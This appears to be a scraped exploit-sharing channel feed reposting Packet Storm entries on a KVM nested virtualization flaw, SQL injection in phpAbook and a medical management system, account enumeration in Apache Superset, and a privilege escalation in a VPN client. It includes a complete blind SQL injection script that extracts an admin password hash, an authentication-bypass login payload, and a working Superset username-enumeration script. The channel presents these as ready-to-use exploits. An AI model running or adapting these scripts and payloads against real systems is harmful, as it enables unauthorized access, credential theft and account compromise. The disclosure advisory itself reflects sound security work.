Hacking Articles Tips Tricks Videos Tutorials

7 views18:59

Exploit Collector
KVM nested_svm_vmrun Double Fetch

https://1.bp.blogspot.com/-ju6c7E-5MWk/WWlvdc1QT-I/AAAAAAAAIPk/ByEXv5vo16UsrlpTJMmF2Op4hfJEgrRpQCLcBGAs/s1600/h79.png
A KVM guest on AMD can launch a L2 guest without the Intercept VMRUN control bit by exploiting a TOCTOU vulnerability in nested_svm_vmrun. Executing vmrun from the L2 guest, will then trigger a second call to nested_svm_vmrun and corrupt svm->nested.hsave with data copied out of the L2 vmcb. For kernel versions that include the commit "2fcf4876: KVM: nSVM: implement on demand allocation of the nested state" (>=5.10), the guest can free the MSR permission bit in svm->nested.msrpm, while it's still in use and gain unrestricted access to host MSRs.

MD5 | 814987fd3e7902c83f77c7f4aa4a3585

Download
Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Kitploit

KVM nested_svm_vmrun Double Fetch

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

9 viewsedited 18:59

Hacking Articles Tips Tricks Videos Tutorials

Photo

Exploit Collector
phpAbook 0.9i SQL Injection

https://3.bp.blogspot.com/-S_42fggy9lU/WWlvmFk_l6I/AAAAAAAAIRE/4fLLQglySPcuo1eoPxnOCfdodS4kW3PlwCLcBGAs/s1600/hack_img3.png
phpAbook version 0.9i suffers from a remote SQL injection vulnerability.

MD5 | ceadee176206060327e5cc0ef90f1775

Download

# Exploit Title: phpAbook 0.9i - SQL Injection
# Date: 2021-06-29
# Vendor Homepage: http://sourceforge.net/projects/phpabook/
# Exploit Author: Said Cortes, Alejandro Perez
# Version: v0.9i
# This was written for educational purpose. Use it at your own risk.
# Author will be not responsible for any damage.

import requests
import argparse
import string
import sys
def exploit(session,host):
print("Starting Exploit\nSearching Admin Hash...")
passwordhash = ''
for i in range(1,33):
charset = string.digits + string.ascii_lowercase
for letter in charset:
burp0_url = f"{host}/index.php"
burp0_data = {"auth_user": f"admin'-IF((SELECT MID(password,{i},1) from ab_auth_user where uid=1)='{letter}',SLEEP(3),0)#", "auth_passwd": "admin", "lang": "en", "submit": "Login"}
try:
session.post(burp0_url, data=burp0_data, timeout=1)
except requests.Timeout:
passwordhash += letter
continue
print("admin:"+passwordhash)
if __name__ == "__main__" :
session = requests.session()
parser = argparse.ArgumentParser()
parser.add_argument("-u","--url",help="host url \nex: http://127.0.0.1/phpabook",required=True)
arg = parser.parse_args()
exploit(session,arg.url)

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Kitploit

phpAbook 0.9i SQL Injection

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

11 viewsedited 18:59

Hacking Articles Tips Tricks Videos Tutorials

Photo

Exploit Collector
Doctors Patients Management System 1.0 SQL Injection

https://4.bp.blogspot.com/-I-n26yI3Cmk/WWlvWxoCyUI/AAAAAAAAIOM/Fl6K91g5v_sGMssa7qzCkbxeapM4aUyUACLcBGAs/s1600/h50.png
Doctors Patients Management System version 1.0 suffers from a remote SQL injection vulnerability that allows for authentication bypass.

MD5 | fb9af03a5ee38e11615bb8c1c7a35654

Download

# Exploit Title: Doctors Patients Management System 1.0 - SQL Injection (Authentication Bypass)
# Date: 06/30/2021
# Exploit Author: Murat DEMIRCI (butterflyhunt3r)
# Vendor Homepage: https://www.codester.com/
# Software Link: https://www.codester.com/items/31349/medisol-doctors-patients-managment-system
# Version: 1.0
# Tested on: Windows 10
# Description : The admin login of this app is vulnerable to sql injection login bypass. Anyone can bypass admin login authentication.

# Proof of Concept :
http://test.com/PATH/signin

# Username : anything
# Password : ' or '1'='1

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Kitploit

Doctors Patients Management System 1.0 SQL Injection

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

11 viewsedited 18:59

Hacking Articles Tips Tricks Videos Tutorials

Photo

Exploit Collector
Apache Superset 1.1.0 Account Enumeration

https://4.bp.blogspot.com/-1sVwQJsRVpo/WWlvgaUDftI/AAAAAAAAIQM/9m_QfduSdAQi14Fs6kLQe2-YLO5Bx1iKQCLcBGAs/s1600/h87.png
Apache Superset version 1.1.0 suffers from a time-based account enumeration vulnerability.

MD5 | 79699f800c9b8c66297545ad1eaae6cc

Download

# Exploit Title: Apache Superset 1.1.0 - Time-Based Account Enumeration
# Author: Dolev Farhi
# Date: 2021-05-13
# Vendor Homepage: https://superset.apache.org/
# Version: 1.1.0
# Tested on: Ubuntu

import sys
import requests
import time

scheme = 'http'
host = '192.168.1.1'
port = 8080

# change with your wordlist
usernames = ['guest', 'admin', 'administrator', 'idontexist', 'superset']

url = '{}://{}:{}'.format(scheme, host, port)
login_endpoint = '/login/'

session = requests.Session()

def get_csrf():
token = None
r = session.get(url + login_endpoint, verify=False)

for line in r.text.splitlines():
if 'csrf_token' in line:
try:
token = line.strip().split('"')[-2]
except:
pass
return token

csrf_token = get_csrf()

if not csrf_token:
print('Could not obtain CSRF token, the exploit will likely fail.')
sys.exit(1)

data = {
'csrf_token':csrf_token,
'username':'',
'password':'abc'
}

attempts = {}
found = False

for user in usernames:
start = time.time()
data['username'] = user
r = session.post(url + login_endpoint, data=data, verify=False, allow_redirects=True)
roundtrip = time.time() - start
attempts["%.4f" % roundtrip] = user

print('[!] Accounts existence probability is sorted from high to low')

count = 0

for key in sorted(attempts, reverse=True):
count += 1
print("%s. %s (timing: %s)" % (count, attempts[key], key))

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Kitploit

Apache Superset 1.1.0 Account Enumeration

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

8 viewsedited 18:59

Hacking Articles Tips Tricks Videos Tutorials

Photo

Exploit Collector
Securepoint SSL VPN Client 2.0.30 Local Privilege Escalation

https://4.bp.blogspot.com/-hg5R_Iy9kqs/WWlu56TnyEI/AAAAAAAAIJM/rTW1_kDHOwg4grZYYDaMUD1TyZ2BewRDQCLcBGAs/s1600/h107.png
Securepoint SSL VPN Client version 2.0.30 suffers from a local privilege escalation vulnerability.

MD5 | 208329c265e24386a862dffeddea96d3

Download

Local Privilege Escalation in Securepoint SSL VPN Client 2.0.30

Metadata
===================================================
Release Date: 29-Jun-2021
Author: Florian Bogner @ https://bee-itsecurity.at
Affected product:  Securepoint SSL VPN Client 
Fixed in: version 2.0.32
Tested on: Windows 10 x64 fully patched
CVE:  CVE-2021-35523
URL: https://bogner.sh/2021/06/local-privilege-escalation-in-securepoint-ssl-vpn-client-2-0-30/
Vulnerability Status: Fixed with new release

Vulnerability Description (copied from the CVE Details)
===================================================
Securepoint SSL VPN Client v2 before 2.0.32 on Windows has unsafe configuration handling that enables local privilege escalation to NT AUTHORITY\SYSTEM. A non-privileged local user can modify the OpenVPN configuration stored under "%APPDATA%\Securepoint SSL VPN" and add a external script file that is executed as privileged user.

A full vulnerability description is available here: https://bogner.sh/2021/06/local-privilege-escalation-in-securepoint-ssl-vpn-client-2-0-30/ 

Suggested Solution
===================================================
End-users should update to the latest available version.

Disclosure Timeline
===================================================
14.04.2021: The vulnerability was discovered and reported to security@securepoint.de
15.04.2021: The report was triaged
26.04.2021: Securepoint SSL VPN Client Version 2.0.32 was released, which contains an initial fix for the vulnerability
23.06.2021: Securepoint SSL VPN Client Version 2.0.34 was released, which contains additional security measures.
28.06.2021: CVE-2021-35523 was assigned: https://nvd.nist.gov/vuln/detail/CVE-2021-35523 
29.06.2021: Responsible disclosure in cooperation with Securepoint: https://github.com/Securepoint/openvpn-client/security/advisories/GHSA-v8p8-4w8f-qh34

___________

Florian Bogner
Information Security Expert, Speaker

Bee IT Security Consulting GmbH
Nibelungenstraße 37
3123 A-Schweinern

Mail: florian.bogner@bee-itsecurity.at
Web: https://www.bee-itsecurity.at